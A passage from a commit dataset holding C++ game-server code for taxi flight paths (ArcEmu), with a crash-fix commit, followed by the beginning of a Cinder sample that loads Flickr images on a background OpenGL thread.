(!time)\n\t\treturn;\n\n\tfloat length;\n\tif( mapid == m_map1 )\n\t\tlength = m_length1;\n\telse\n\t\tlength = m_length2;\n\n\tfloat traveled_len = (time\/(length * TAXI_TRAVEL_SPEED))*length;\n\tuint32 len = 0;\n\n\tx = 0;\n\ty = 0;\n\tz = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx,ny,nz = 0.0f;\n\tbool set = false;\n\tuint32 nodecounter = 0;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != mapid )\n\t\t{\n\t\t\titr++;\n\t\t\tnodecounter++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(!set)\n\t\t{\n\t\t\tnx = itr->second->x;\n\t\t\tny = itr->second->y;\n\t\t\tnz = itr->second->z;\n\t\t\tset = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len >= traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\t*last_node = nodecounter;\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t\tnodecounter++;\n\t}\n\n\tx = nx;\n\ty = ny;\n\tz = nz;\n}\n\nTaxiPathNode* TaxiPath::GetPathNode(uint32 i)\n{\n\tif (m_pathNodes.find(i) == m_pathNodes.end())\n\t\treturn NULL;\n\telse\n\t\treturn m_pathNodes.find(i)->second;\n}\n\nvoid TaxiPath::SendMoveForTime(Player *riding, Player *to, uint32 time)\n{\n\tif (!time)\n\t\treturn;\n\n\tfloat length;\n\tuint32 mapid = riding->GetMapId();\n\tif( mapid == m_map1 )\n\t\tlength = m_length1;\n\telse\n\t\tlength = m_length2;\n\n\tfloat traveled_len = (time\/(length * TAXI_TRAVEL_SPEED))*length;\n\tuint32 len = 0;\n\tfloat x = 0,y = 0,z = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx,ny,nz = 0.0f;\n\tbool set = false;\n\tuint32 nodecounter = 1;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != mapid )\n\t\t{\n\t\t\titr++;\n\t\t\tnodecounter++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(!set)\n\t\t{\n\t\t\tnx = itr->second->x;\n\t\t\tny = itr->second->y;\n\t\t\tnz = itr->second->z;\n\t\t\tset = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len >= traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t}\n\n\tif (itr == m_pathNodes.end())\n\t\treturn;\n\n\tWorldPacket * data = new WorldPacket(SMSG_MONSTER_MOVE, 2000);\n\tsize_t pos;\n\n\t*data << riding->GetNewGUID();\n\t*data << riding->GetPositionX( ) << riding->GetPositionY( ) << riding->GetPositionZ( );\n\t*data << getMSTime();\n\t*data << uint8( 0 );\n\t*data << uint32( 0x00000300 );\n\t*data << uint32( uint32((length * TAXI_TRAVEL_SPEED) - time));\n\t*data << uint32( nodecounter );\n\tpos = data->wpos();\n\t*data << nx << ny << nz;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tTaxiPathNode *pn = itr->second;\n\t\tif( pn->mapid != mapid )\n\t\t\tbreak;\n\n\t\t*data << pn->x << pn->y << pn->z;\n\t\t++itr;\n\t\t++nodecounter;\n\t}\n\t\n\t*(uint32*)&(data->contents()[pos]) = nodecounter;\n\tto->delayedPackets.add(data);\n\/*\tif (!time)\n\t\treturn;\n\n\tfloat traveled_len = (time\/(getLength() * TAXI_TRAVEL_SPEED))*getLength();;\n\tuint32 len = 0, count = 0;\n\tfloat x = 0,y = 0,z = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx = itr->second->x;\n\tfloat ny = itr->second->y;\n\tfloat nz = itr->second->z; \n\titr++;\n\n\twhile (itr != m_pathNodes.end())\n\t{\t\t\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len > traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t\tcount++;\n\t}\n\n\tif (itr == m_pathNodes.end())\n\t\treturn;\n\n\tWorldPacket * data = new WorldPacket(SMSG_MONSTER_MOVE, 2000);\n\n\t*data << riding->GetNewGUID();\n\t*data << riding->GetPositionX( ) << riding->GetPositionY( ) << riding->GetPositionZ( );\n\t*data << getMSTime();\n\t*data << uint8( 0 );\n\t*data << uint32( 0x00000300 );\n\t*data << uint32( uint32((getLength() * TAXI_TRAVEL_SPEED) - time));\n\t*data << uint32( GetNodeCount() - count );\n\t*data << nx << ny << nz;\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tTaxiPathNode *pn = itr->second;\n\t\t*data << pn->x << pn->y << pn->z;\n\t\titr++;\n\t}\n\t\/\/to->GetSession()->SendPacket(&data);\n\tto->delayedPackets.add(data);*\/\n}\n\n\/***********************\n *\t TaxiMgr\t *\n ***********************\/\n\nvoid TaxiMgr::_LoadTaxiNodes()\n{\n\tuint32 i;\n\n\tfor(i = 0; i < dbcTaxiNode.GetNumRows(); i++)\n\t{\n\t\tDBCTaxiNode *node = dbcTaxiNode.LookupRow(i);\n\t\tif (node)\n\t\t{\n\t\t\tTaxiNode *n = new TaxiNode;\n\t\t\tn->id = node->id;\n\t\t\tn->mapid = node->mapid;\n\t\t\tn->alliance_mount = node->alliance_mount;\n\t\t\tn->horde_mount = node->horde_mount;\n\t\t\tn->x = node->x;\n\t\t\tn->y = node->y;\n\t\t\tn->z = node->z;\n\n\t\t\tthis->m_taxiNodes.insert(std::map<uint32, TaxiNode*>::value_type(n->id, n));\n\t\t}\n\t}\n\n\t\/\/todo: load mounts\n}\n\nvoid TaxiMgr::_LoadTaxiPaths()\n{\n\tuint32 i, j;\n\n\tfor(i = 0; i < dbcTaxiPath.GetNumRows(); i++)\n\t{\n\t\tDBCTaxiPath *path = dbcTaxiPath.LookupRow(i);\n\n\t\tif (path)\n\t\t{\n\t\t\tTaxiPath *p = new TaxiPath;\n\t\t\tp->from = path->from;\n\t\t\tp->to = path->to;\n\t\t\tp->id = path->id;\n\t\t\tp->price = path->price;\n\n\t\t\t\/\/Load Nodes\n\t\t\tfor(j = 0; j < dbcTaxiPathNode.GetNumRows(); j++)\n\t\t\t{\n\t\t\t\tDBCTaxiPathNode *pathnode = dbcTaxiPathNode.LookupRow(j);\n\n\t\t\t\tif (pathnode)\n\t\t\t\t{\n\t\t\t\t\tif (pathnode->path == p->id)\n\t\t\t\t\t{\n\t\t\t\t\t\tTaxiPathNode *pn = new TaxiPathNode;\n\t\t\t\t\t\tpn->x = pathnode->x;\n\t\t\t\t\t\tpn->y = pathnode->y;\n\t\t\t\t\t\tpn->z = pathnode->z;\n\t\t\t\t\t\tpn->mapid = pathnode->mapid;\n\t\t\t\t\t\tp->AddPathNode(pathnode->seq, pn);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tp->ComputeLen();\n\t\t\tthis->m_taxiPaths.insert(std::map<uint32, TaxiPath*>::value_type(p->id, p));\n\t\t}\n\t}\n}\n\nTaxiPath* TaxiMgr::GetTaxiPath(uint32 path)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\n\titr = this->m_taxiPaths.find(path);\n\n\tif (itr == m_taxiPaths.end())\n\t\treturn NULL;\n\telse\n\t\treturn itr->second;\n}\n\nTaxiPath* TaxiMgr::GetTaxiPath(uint32 from, uint32 to)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\n\tfor (itr = m_taxiPaths.begin(); itr != m_taxiPaths.end(); itr++)\n\t\tif ((itr->second->to == to) && (itr->second->from == from))\n\t\t\treturn itr->second;\n\n\treturn NULL;\n}\n\nTaxiNode* TaxiMgr::GetTaxiNode(uint32 node)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiNode*>::iterator itr;\n\n\titr = this->m_taxiNodes.find(node);\n\n\tif (itr == m_taxiNodes.end())\n\t\treturn NULL;\n\telse\n\t\treturn itr->second;\n}\n\nuint32 TaxiMgr::GetNearestTaxiNode( float x, float y, float z, uint32 mapid )\n{\n\tuint32 nearest = 0;\n\tfloat distance = -1;\n\tfloat nx, ny, nz, nd;\n\n\tHM_NAMESPACE::hash_map<uint32, TaxiNode*>::iterator itr;\n\n\tfor (itr = m_taxiNodes.begin(); itr != m_taxiNodes.end(); itr++)\n\t{\n\t\tif (itr->second->mapid == mapid)\n\t\t{\n\t\t\tnx = itr->second->x - x;\n\t\t\tny = itr->second->y - y;\n\t\t\tnz = itr->second->z - z;\n\t\t\tnd = nx * nx + ny * ny + nz * nz;\n\t\t\tif( nd < distance || distance < 0 )\n\t\t\t{\n\t\t\t\tdistance = nd;\n\t\t\t\tnearest = itr->second->id;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nearest;\n}\n\nbool TaxiMgr::GetGlobalTaxiNodeMask( uint32 curloc, uint32 *Mask )\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\tuint8 field;\n\n\tfor (itr = m_taxiPaths.begin(); itr != m_taxiPaths.end(); itr++)\n\t{\n\t\t\/*if( itr->second->from == curloc )\n\t\t{*\/\n\t\t\tfield = (uint8)((itr->second->to - 1) \/ 32);\n\t\t\tMask[field] |= 1 << ( (itr->second->to - 1 ) % 32 );\n\t\t\/\/}\n\t}\n\n\treturn true;\n}\n<commit_msg>Fixes a client crash when clicking on a flight path Seem to only affect some servers http:\/\/arcemu.org\/forums\/index.php?showtopic=8885&st=0&p=41293&#<commit_after>\/*\n * ArcEmu MMORPG Server\n * Copyright (C) 2005-2007 Ascent Team <http:\/\/www.ascentemu.com\/>\n * Copyright (C) 2008 <http:\/\/www.ArcEmu.org\/>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"StdAfx.h\"\n\ninitialiseSingleton( TaxiMgr );\n\n\/************************\n *\t TaxiPath\t *\n ************************\/\n\nvoid TaxiPath::ComputeLen()\n{\n\tm_length1 = m_length1 = 0;\n\tm_map1 = m_map2 = 0;\n\tfloat * curptr = &m_length1;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat x = itr->second->x;\n\tfloat y = itr->second->y;\n\tfloat z = itr->second->z;\n\tuint32 curmap = itr->second->mapid;\n\tm_map1 = curmap;\n\n\titr++;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != curmap )\n\t\t{\n\t\t\tcurptr = &m_length2;\n\t\t\tm_map2 = itr->second->mapid;\n\t\t\tcurmap = itr->second->mapid;\n\t\t}\n\n\t\t*curptr += sqrt((itr->second->x - x)*(itr->second->x - x) +\n\t\t\t(itr->second->y - y)*(itr->second->y - y) + \n\t\t\t(itr->second->z - z)*(itr->second->z - z));\n\n\t\tx = itr->second->x;\n\t\ty = itr->second->y;\n\t\tz = itr->second->z;\n\t\titr++;\n\t}\n}\n\nvoid TaxiPath::SetPosForTime(float &x, float &y, float &z, uint32 time, uint32 *last_node, uint32 mapid)\n{\n\tif (!time)\n\t\treturn;\n\n\tfloat length;\n\tif( mapid == m_map1 )\n\t\tlength = m_length1;\n\telse\n\t\tlength = m_length2;\n\n\tfloat traveled_len = (time\/(length * TAXI_TRAVEL_SPEED))*length;\n\tuint32 len = 0;\n\n\tx = 0;\n\ty = 0;\n\tz = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx,ny,nz = 0.0f;\n\tbool set = false;\n\tuint32 nodecounter = 0;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != mapid )\n\t\t{\n\t\t\titr++;\n\t\t\tnodecounter++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(!set)\n\t\t{\n\t\t\tnx = itr->second->x;\n\t\t\tny = itr->second->y;\n\t\t\tnz = itr->second->z;\n\t\t\tset = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len >= traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\t*last_node = nodecounter;\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t\tnodecounter++;\n\t}\n\n\tx = nx;\n\ty = ny;\n\tz = nz;\n}\n\nTaxiPathNode* TaxiPath::GetPathNode(uint32 i)\n{\n\tif (m_pathNodes.find(i) == m_pathNodes.end())\n\t\treturn NULL;\n\telse\n\t\treturn m_pathNodes.find(i)->second;\n}\n\nvoid TaxiPath::SendMoveForTime(Player *riding, Player *to, uint32 time)\n{\n\tif (!time)\n\t\treturn;\n\n\tfloat length;\n\tuint32 mapid = riding->GetMapId();\n\tif( mapid == m_map1 )\n\t\tlength = m_length1;\n\telse\n\t\tlength = m_length2;\n\n\tfloat traveled_len = (time\/(length * TAXI_TRAVEL_SPEED))*length;\n\tuint32 len = 0;\n\tfloat x = 0,y = 0,z = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx,ny,nz = 0.0f;\n\tbool set = false;\n\tuint32 nodecounter = 1;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != mapid )\n\t\t{\n\t\t\titr++;\n\t\t\tnodecounter++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(!set)\n\t\t{\n\t\t\tnx = itr->second->x;\n\t\t\tny = itr->second->y;\n\t\t\tnz = itr->second->z;\n\t\t\tset = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len >= traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t}\n\n\tif (itr == m_pathNodes.end())\n\t\treturn;\n\n\tWorldPacket * data = new WorldPacket(SMSG_MONSTER_MOVE, 2000);\n\tsize_t pos;\n\n\t*data << riding->GetNewGUID();\n\t*data << riding->GetPositionX( ) << riding->GetPositionY( ) << riding->GetPositionZ( );\n\t*data << getMSTime();\n\t*data << uint8( 0 );\n\t*data << uint32( 0x00000300 );\n\t*data << uint32( uint32((length * TAXI_TRAVEL_SPEED) - time));\n\t*data << uint32( nodecounter );\n\tpos = data->wpos();\n\t*data << nx << ny << nz;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tTaxiPathNode *pn = itr->second;\n\t\tif( pn->mapid != mapid )\n\t\t\tbreak;\n\n\t\t*data << pn->x << pn->y << pn->z;\n\t\t++itr;\n\t\t++nodecounter;\n\t}\n\t\n\t*(uint32*)&(data->contents()[pos]) = nodecounter;\n\tto->delayedPackets.add(data);\n\/*\tif (!time)\n\t\treturn;\n\n\tfloat traveled_len = (time\/(getLength() * TAXI_TRAVEL_SPEED))*getLength();;\n\tuint32 len = 0, count = 0;\n\tfloat x = 0,y = 0,z = 0;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat nx = itr->second->x;\n\tfloat ny = itr->second->y;\n\tfloat nz = itr->second->z; \n\titr++;\n\n\twhile (itr != m_pathNodes.end())\n\t{\t\t\n\t\tlen = (uint32)sqrt((itr->second->x - nx)*(itr->second->x - nx) +\n\t\t\t(itr->second->y - ny)*(itr->second->y - ny) + \n\t\t\t(itr->second->z - nz)*(itr->second->z - nz));\n\n\t\tif (len > traveled_len)\n\t\t{\n\t\t\tx = (itr->second->x - nx)*(traveled_len\/len) + nx;\n\t\t\ty = (itr->second->y - ny)*(traveled_len\/len) + ny;\n\t\t\tz = (itr->second->z - nz)*(traveled_len\/len) + nz;\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttraveled_len -= len;\n\t\t}\n\n\t\tnx = itr->second->x;\n\t\tny = itr->second->y;\n\t\tnz = itr->second->z;\n\t\titr++;\n\t\tcount++;\n\t}\n\n\tif (itr == m_pathNodes.end())\n\t\treturn;\n\n\tWorldPacket * data = new WorldPacket(SMSG_MONSTER_MOVE, 2000);\n\n\t*data << riding->GetNewGUID();\n\t*data << riding->GetPositionX( ) << riding->GetPositionY( ) << riding->GetPositionZ( );\n\t*data << getMSTime();\n\t*data << uint8( 0 );\n\t*data << uint32( 0x00000300 );\n\t*data << uint32( uint32((getLength() * TAXI_TRAVEL_SPEED) - time));\n\t*data << uint32( GetNodeCount() - count );\n\t*data << nx << ny << nz;\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tTaxiPathNode *pn = itr->second;\n\t\t*data << pn->x << pn->y << pn->z;\n\t\titr++;\n\t}\n\t\/\/to->GetSession()->SendPacket(&data);\n\tto->delayedPackets.add(data);*\/\n}\n\n\/***********************\n *\t TaxiMgr\t *\n ***********************\/\n\nvoid TaxiMgr::_LoadTaxiNodes()\n{\n\tuint32 i;\n\n\tfor(i = 0; i < dbcTaxiNode.GetNumRows(); i++)\n\t{\n\t\tDBCTaxiNode *node = dbcTaxiNode.LookupRow(i);\n\t\tif (node)\n\t\t{\n\t\t\tTaxiNode *n = new TaxiNode;\n\t\t\tn->id = node->id;\n\t\t\tn->mapid = node->mapid;\n\t\t\tn->alliance_mount = node->alliance_mount;\n\t\t\tn->horde_mount = node->horde_mount;\n\t\t\tn->x = node->x;\n\t\t\tn->y = node->y;\n\t\t\tn->z = node->z;\n\n\t\t\tthis->m_taxiNodes.insert(std::map<uint32, TaxiNode*>::value_type(n->id, n));\n\t\t}\n\t}\n\n\t\/\/todo: load mounts\n}\n\nvoid TaxiMgr::_LoadTaxiPaths()\n{\n\tuint32 i, j;\n\n\tfor(i = 0; i < dbcTaxiPath.GetNumRows(); i++)\n\t{\n\t\tDBCTaxiPath *path = dbcTaxiPath.LookupRow(i);\n\n\t\tif (path)\n\t\t{\n\t\t\tTaxiPath *p = new TaxiPath;\n\t\t\tp->from = path->from;\n\t\t\tp->to = path->to;\n\t\t\tp->id = path->id;\n\t\t\tp->price = path->price;\n\n\t\t\t\/\/Load Nodes\n\t\t\tfor(j = 0; j < dbcTaxiPathNode.GetNumRows(); j++)\n\t\t\t{\n\t\t\t\tDBCTaxiPathNode *pathnode = dbcTaxiPathNode.LookupRow(j);\n\n\t\t\t\tif (pathnode)\n\t\t\t\t{\n\t\t\t\t\tif (pathnode->path == p->id)\n\t\t\t\t\t{\n\t\t\t\t\t\tTaxiPathNode *pn = new TaxiPathNode;\n\t\t\t\t\t\tpn->x = pathnode->x;\n\t\t\t\t\t\tpn->y = pathnode->y;\n\t\t\t\t\t\tpn->z = pathnode->z;\n\t\t\t\t\t\tpn->mapid = pathnode->mapid;\n\t\t\t\t\t\tp->AddPathNode(pathnode->seq, pn);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tp->ComputeLen();\n\t\t\tthis->m_taxiPaths.insert(std::map<uint32, TaxiPath*>::value_type(p->id, p));\n\t\t}\n\t}\n}\n\nTaxiPath* TaxiMgr::GetTaxiPath(uint32 path)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\n\titr = this->m_taxiPaths.find(path);\n\n\tif (itr == m_taxiPaths.end())\n\t\treturn NULL;\n\telse\n\t\treturn itr->second;\n}\n\nTaxiPath* TaxiMgr::GetTaxiPath(uint32 from, uint32 to)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\n\tfor (itr = m_taxiPaths.begin(); itr != m_taxiPaths.end(); itr++)\n\t\tif ((itr->second->to == to) && (itr->second->from == from))\n\t\t\treturn itr->second;\n\n\treturn NULL;\n}\n\nTaxiNode* TaxiMgr::GetTaxiNode(uint32 node)\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiNode*>::iterator itr;\n\n\titr = this->m_taxiNodes.find(node);\n\n\tif (itr == m_taxiNodes.end())\n\t\treturn NULL;\n\telse\n\t\treturn itr->second;\n}\n\nuint32 TaxiMgr::GetNearestTaxiNode( float x, float y, float z, uint32 mapid )\n{\n\tuint32 nearest = 0;\n\tfloat distance = -1;\n\tfloat nx, ny, nz, nd;\n\n\tHM_NAMESPACE::hash_map<uint32, TaxiNode*>::iterator itr;\n\n\tfor (itr = m_taxiNodes.begin(); itr != m_taxiNodes.end(); itr++)\n\t{\n\t\tif (itr->second->mapid == mapid)\n\t\t{\n\t\t\tnx = itr->second->x - x;\n\t\t\tny = itr->second->y - y;\n\t\t\tnz = itr->second->z - z;\n\t\t\tnd = nx * nx + ny * ny + nz * nz;\n\t\t\tif( nd < distance || distance < 0 )\n\t\t\t{\n\t\t\t\tdistance = nd;\n\t\t\t\tnearest = itr->second->id;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nearest;\n}\n\nbool TaxiMgr::GetGlobalTaxiNodeMask( uint32 curloc, uint32 *Mask )\n{\n\tHM_NAMESPACE::hash_map<uint32, TaxiPath*>::iterator itr;\n\tuint8 field;\n\n\tfor (itr = m_taxiPaths.begin(); itr != m_taxiPaths.end(); itr++)\n\t{\n\t\tif( itr->second->from == curloc )\n\t\t{\n\t\t\tfield = (uint8)((itr->second->to - 1) \/ 32);\n\t\t\tMask[field] |= 1 << ( (itr->second->to - 1 ) % 32 );\n\t\t}\n\t}\n\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"cinder\/app\/App.h\"\n#include \"cinder\/app\/RendererGl.h\"\n#include \"cinder\/gl\/Context.h\"\n#include \"cinder\/gl\/Texture.h\"\n#include \"cinder\/Xml.h\"\n#include \"cinder\/Timeline.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/Thread.h\"\n#include \"cinder\/ConcurrentCircularBuffer.h\"\n\n\/*\tThe heart of this sample is to show how to create a background thread that interacts with OpenGL.\n\tIt launches a secondary thread which pulls down images from a Flickr group and puts them in a thread-safe buffer.\n\tWe can allocate a gl::Context which shares resources (specifically Textures) with the primary gl::Context.\n\tNote that this Context should be created in the primary thread and passed as a parameter to the secondary thread.\n*\/\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nclass FlickrTestMTApp : public App {\n public:\t\t\n\tvoid setup();\n\tvoid update();\n\tvoid draw();\n\tvoid shutdown();\n\tvoid loadImagesThreadFn( gl::ContextRef sharedGlContext );\n\n\tConcurrentCircularBuffer<gl::TextureRef>\t*mImages;\n\n\tbool\t\t\t\t\tmShouldQuit;\n\tshared_ptr<thread>\t\tmThread;\n\tgl::TextureRef\t\t\tmTexture, mLastTexture;\n\tAnim<float>\t\t\t\tmFade;\n\tdouble\t\t\t\t\tmLastTime;\n};\n\nvoid FlickrTestMTApp::setup()\n{\n\tmShouldQuit = false;\n\tmImages = new ConcurrentCircularBuffer<gl::TextureRef>( 5 ); \/\/ room for 5 images\n\t\/\/ create and launch the thread with a new gl::Context just for that thread\n\tgl::ContextRef backgroundCtx = gl::Context::create( gl::context() );\n\tmThread = shared_ptr<thread>( new thread( bind( &FlickrTestMTApp::loadImagesThreadFn, this, backgroundCtx ) ) );\n\tmLastTime = getElapsedSeconds() - 10; \/\/ force an initial update by make it \"ten seconds ago\"\n\n\tgl::enableAlphaBlending();\n}\n\nvoid FlickrTestMTApp::loadImagesThreadFn( gl::ContextRef context )\n{\n\tci::ThreadSetup threadSetup; \/\/ instantiate this if you're talking to Cinder from a secondary thread\n\t\/\/ we received as a parameter a gl::Context we can use safely that shares resources with the primary Context\n\tcontext->makeCurrent();\n\tvector<Url>\turls;\n\n\t\/\/ parse the image URLS from the XML feed and push them into 'urls'\n\tconst Url sunFlickrGroup = Url( \"http:\/\/api.flickr.com\/services\/feeds\/groups_pool.gne?id=52242317293@N01&format=rss_200\" );\n\tconst XmlTree xml( loadUrl( sunFlickrGroup ) );\n\tfor( auto item = xml.begin( \"rss\/channel\/item\" ); item != xml.end(); ++item ) {\n\t\tconst XmlTree &urlXml = ( ( *item \/ \"media:content\" ) );\n\t\turls.push_back( Url( urlXml[\"url\"] ) );\n\t}\n\n\t\/\/ load images as Textures into our ConcurrentCircularBuffer\n\t\/\/ don't create gl::Textures on a background thread\n\twhile( ( ! mShouldQuit ) && ( ! urls.empty() ) ) {\n\t\ttry {\n\t\t\tmImages->pushFront( gl::Texture::create( loadImage( loadUrl( urls.back() ) ) ) );\n\t\t\turls.pop_back();\n\t\t}\n\t\tcatch( ci::Exception &exc ) {\n\t\t\tconsole() << \"failed to create texture, what: \" << exc.what() << std::endl;\n\t\t}\n\t}\n}\n\nvoid FlickrTestMTApp::update()\n{\n\tdouble timeSinceLastImage = getElapsedSeconds() - mLastTime;\n\tif( ( timeSinceLastImage > 2.5 ) && mImages->isNotEmpty() ) {\n\t\tmLastTexture = mTexture; \/\/ the \"last\" texture is now the current text\n\t\t\n\t\tmImages->popBack( &mTexture );\n\t\t\n\t\tmLastTime = getElapsedSeconds();\n\t\t\/\/ blend from 0 to 1 over 1.5sec\n\t\ttimeline().apply( &mFade, 0.0f, 1.0f, 1.5f );\n\t}\t\n}\n\nvoid FlickrTestMTApp::draw()\n{\n\tgl::clear( Color( 0.1f, 0.1f, 0.2f ) );\n\n\tif( mLastTexture ) {\n\t\tgl::color( 1, 1, 1, 1.0f - mFade );\n\t\tRectf textureBounds = mLastTexture->getBounds();\n\t\tRectf drawBounds = textureBounds.getCenteredFit( getWindowBounds(), true );\n\t\tgl::draw( mLastTexture, drawBounds );\n\t}\n\tif( mTexture ) {\n\t\tgl::color( 1, 1, 1, mFade );\n\t\tRectf textureBounds = mTexture->getBounds();\n\t\tRectf drawBounds = textureBounds.getCenteredFit( getWindowBounds(), true );\n\t\tgl::draw( mTexture, drawBounds );\n\t}\n}\n\nvoid FlickrTestMTApp::shutdown()\n{\n\tmShouldQuit = true;\n\tmImages->cancel();\n\tmThread->join();\n}\n\nCINDER_APP( FlickrTestMTApp, RendererGl )<commit_msg>Updates to MTFlickr sample for app_refactor<commit_after>#include \"cinder\/app\/App.h\"\n#include \"cinder\/app\/RendererGl.h\"\n#include \"cinder\/gl\/Context.h\"\n#include 